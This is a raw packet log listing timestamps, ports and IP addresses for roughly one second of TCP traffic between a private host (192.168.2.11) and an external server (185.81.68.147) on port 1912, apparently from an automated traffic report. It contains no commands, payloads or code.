Dec 13, 2024 08:19:14.477024078 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477072954 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477083921 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477118015 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477145910 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477152109 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477190971 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477212906 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477262974 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477292061 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477302074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477355957 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477425098 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477436066 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477511883 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477560043 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477570057 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477606058 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477629900 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477699041 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477744102 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477751970 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477797985 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.477876902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.477932930 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.523894072 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.523955107 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.596863985 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.596920013 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597016096 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597063065 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597112894 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597158909 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597197056 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597276926 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597322941 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597366095 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597434998 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597481012 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597510099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597539902 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597569942 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597681046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597748041 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597764015 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597845078 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597858906 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597902060 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.597945929 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.597984076 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598069906 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598112106 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598181009 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598191023 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598237038 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598295927 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598319054 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598336935 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598365068 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598474979 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598484993 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598510981 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.598587036 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598596096 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598773956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598783016 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598838091 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.598921061 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.840058088 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904706001 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904735088 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904809952 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904819012 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904823065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904833078 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904841900 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904850006 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904850960 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904861927 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904870987 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904880047 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904889107 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904897928 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904902935 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904906034 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904915094 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904927015 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904937983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904947042 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904951096 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904957056 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904967070 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904975891 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904977083 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904984951 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.904994011 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.904995918 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905005932 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905014992 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.905016899 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905029058 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905038118 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905045986 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905054092 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.905055046 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905065060 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905073881 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905077934 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.905083895 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905093908 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905112982 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905117035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905124903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905133009 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905141115 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905149937 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905157089 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905165911 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905173063 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905180931 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905189991 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905198097 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905205965 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905214071 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905222893 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905231953 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905241013 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905251026 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905260086 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905268908 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905277014 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905284882 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905293941 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905302048 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905309916 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905318022 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905325890 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905333996 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905342102 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905349970 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905358076 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905366898 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.905462027 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:14.959897995 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:14.960012913 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025166035 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025260925 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025262117 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025270939 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025300026 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025337934 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025358915 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025366068 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025443077 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025475979 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025486946 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025523901 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.025532007 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025546074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025671005 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025742054 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025774956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025794983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025859118 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025888920 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.025991917 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026038885 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026072979 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026146889 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026156902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026186943 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026264906 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026305914 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026396036 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026406050 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026483059 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026546955 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026556969 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026567936 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026691914 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026701927 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026774883 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026783943 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026865005 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026938915 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026948929 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.026998043 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027187109 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027214050 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027246952 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027331114 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027359962 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027436018 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027446032 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027463913 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027527094 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027533054 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027548075 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027564049 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027631044 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027631998 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027662992 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027714014 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027725935 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027743101 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027776003 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027780056 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027796984 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027836084 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.027851105 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027879953 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.027935028 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028007030 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028037071 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028116941 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028146982 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028268099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028297901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028374910 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028426886 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028459072 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028510094 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028544903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028625011 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028654099 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028706074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028798103 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028831005 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028954029 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.028981924 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029014111 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029047012 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029145956 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029191971 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029339075 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029366970 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029395103 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029444933 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029473066 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029500961 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029534101 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029562950 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.029601097 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.079806089 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145092010 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145107985 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145222902 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145236015 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145345926 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145359039 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145395041 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145437002 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.145709991 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.147469044 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.147542953 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.147619963 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.147769928 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.147819996 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.147846937 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.147887945 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.147922039 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148025036 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148066998 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148153067 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148201942 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148247004 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148452997 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148559093 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148617983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148694038 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148834944 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148849010 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148861885 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.148932934 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149065018 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149077892 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149128914 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149141073 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149199009 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149245024 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149341106 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149385929 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149496078 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149509907 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149604082 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149709940 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149760008 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149782896 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149797916 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149920940 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.149933100 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150037050 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150083065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150187969 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150201082 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150259972 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150285006 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150299072 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150321007 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150414944 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150427103 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150469065 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150490999 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150583029 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150595903 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150722027 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150734901 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150757074 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.150768995 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.151194096 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.151258945 CET	49760	1912	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:15.265530109 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265609026 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265619993 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265671015 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265733957 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265841961 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265851021 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.265888929 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266072989 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266094923 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266103983 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266207933 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266227007 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266401052 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266411066 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266511917 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266522884 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266654968 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266664982 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266683102 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266693115 CET	1912	49760	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:15.266748905 CET	1912	49760	185.81.68.147	192.168.2.11
